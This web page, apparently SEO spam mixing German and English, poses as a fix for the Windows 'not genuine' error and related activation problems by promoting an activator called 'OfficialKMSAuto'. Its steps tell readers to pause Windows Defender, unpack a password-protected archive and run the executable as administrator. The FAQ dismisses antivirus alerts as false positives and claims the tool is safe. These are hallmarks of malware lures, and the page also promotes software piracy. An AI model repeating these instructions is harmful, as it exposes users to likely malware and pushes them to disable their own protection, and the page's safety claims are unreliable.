Windows 10 Windows-Not-Genuine — Fehlerbehebung 2026
Dieser Artikel ist die vollständige deutsche Anleitung zu Windows 10 Windows-Not-Genuine im Jahr 2026. Step-by-step fix for Windows-Not-Genuine on Windows 10. 'This copy of Windows is not genuine' message. Resolved in under 2 minutes with OfficialKMSAuto.
WYqejXiqBi97Dieser Artikel ist die vollständige deutsche Anleitung zu Windows 10 Windows-Not-Genuine im Jahr 2026. Error Windows-Not-Genuine appears when Microsoft's WAT service flagged the install as non-genuine. The fastest fix in 2026 is to run OfficialKMSAuto, which detects the cause and applies the correct activation method automatically.
What causes error Windows-Not-Genuine?
'This copy of Windows is not genuine' message. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.
Step-by-step fix
Follow these steps in order. The whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Download and extract OfficialKMSAuto using password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Click 'Fix Windows-Not-Genuine' or run the automatic repair option
- Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)
If the error still appears
Rare cases of Windows-Not-Genuine need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.
Why this fix is permanent
HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.
Frequently asked questions
▸Will fixing this error require reinstalling Windows?
No. OfficialKMSAuto resolves activation errors without touching system files or requiring a reinstall.
▸Is the fix permanent?
Yes — HWID and TSforge bind the license to your hardware, so the error does not return after updates.
▸Do I need internet access?
Only for the initial handshake. The activation itself runs locally.
▸What is the archive password?
WYqejXiqBi97 — same for every download on this site.
▸Is OfficialKMSAuto safe to use for this fix?
Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus flags are generic HackTool false-positives.
Read this article in another language
Related articles
Windows 11 Activate-Windows-Watermark — Fehlerbehebung 2026
Dieser Artikel ist die vollständige deutsche Anleitung zu Windows 11 Activate-Windows-Watermark im Jahr 2026. Step-by-step fix for Activate-Windows-Watermark on Windows 11. Persistent 'Activate Windows' watermark in the corner. Resolved in under 2 minutes with OfficialKMSAuto.
Read article →
Wie Aktiviert Man Windows 11 25H2 Kostenlos 2026 — Schritt-für-Schritt
Dieser Artikel ist die vollständige deutsche Anleitung zu Windows 11 25H2 im Jahr 2026. Windows 11 25H2 activation in 2026 — TSforge handles every edition, HWID covers Home and Pro permanently.
Read article →
Activate Laptop OEM Windows Aktivierungsmethode 2026 — Komplettanleitung
Dieser Artikel ist die vollständige deutsche Anleitung zu Activate Laptop OEM Windows im Jahr 2026. Restore your laptop's OEM Windows license after a factory reset using HWID + product key recovery.
Read article →
Wie Aktiviert Man Microsoft 365 Personal Kostenlos 2026 — Schritt-für-Schritt
Dieser Artikel ist die vollständige deutsche Anleitung zu Microsoft 365 Personal im Jahr 2026. Activate Microsoft 365 Personal via Ohook — a permanent local license, no subscription required.
Read article →
Wie Aktiviert Man Office LTSC 2024 Kostenlos 2026 — Schritt-für-Schritt
Dieser Artikel ist die vollständige deutsche Anleitung zu Office LTSC 2024 im Jahr 2026. Permanent free activation for Office LTSC 2024 (Volume License) using OfficialKMSAuto's Ohook method. Works offline forever.
Read article →
Error 0xC004F038 — Fehlerbehebung 2026
Dieser Artikel ist die vollständige deutsche Anleitung zu Error 0xC004F038 im Jahr 2026. 0xC004F038 means KMS count is below the threshold. KMSAuto Net's emulator simulates the required count automatically.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97